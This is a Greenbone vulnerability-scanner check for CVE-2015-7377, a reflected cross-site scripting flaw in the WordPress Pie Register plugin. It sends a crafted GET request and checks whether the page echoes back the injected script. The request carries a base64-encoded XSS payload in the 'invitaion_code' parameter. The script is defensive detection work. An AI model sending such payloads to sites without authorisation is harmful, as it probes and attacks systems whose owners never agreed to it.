WordPress Pie Register Cross-Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805763");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2015-7377");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2015-10-20 12:43:41 +0530 (Tue, 20 Oct 2015)");
  script_name("WordPress Pie Register Cross-Site Scripting Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);

  script_xref(name:"URL", value:"https://wpvulndb.com/vulnerabilities/8212");
  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/133928");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/536668");
  script_xref(name:"URL", value:"https://github.com/GTSolutions/Pie-Register");

  script_tag(name:"summary", value:"wordpress pie register plugin is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Flaw exists as input passed via the
  'invitaion_code' parameter is not properly sanitized before being returned
   to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to execute arbitrary HTML and script code in a user's browser session
  in context of an affected site.");

  script_tag(name:"affected", value:"WordPress Pie Register version before
  2.0.19.");

  script_tag(name:"solution", value:"Upgrade to Pie Register version 2.0.19 or
  later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = "/?page=pie-register&show_dash_widget=1&invitaion_code=PHNjcmlwdD" +
      "5hbGVydCgnZG9jdW1lbnQuY29va2llJyk8L3NjcmlwdD4=";

if(http_vuln_check(port:port, url:url, check_header:TRUE,
   pattern:"<script>alert\('document\.cookie'\)</script>",
   extra_check:">Activation Code :"))
{
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);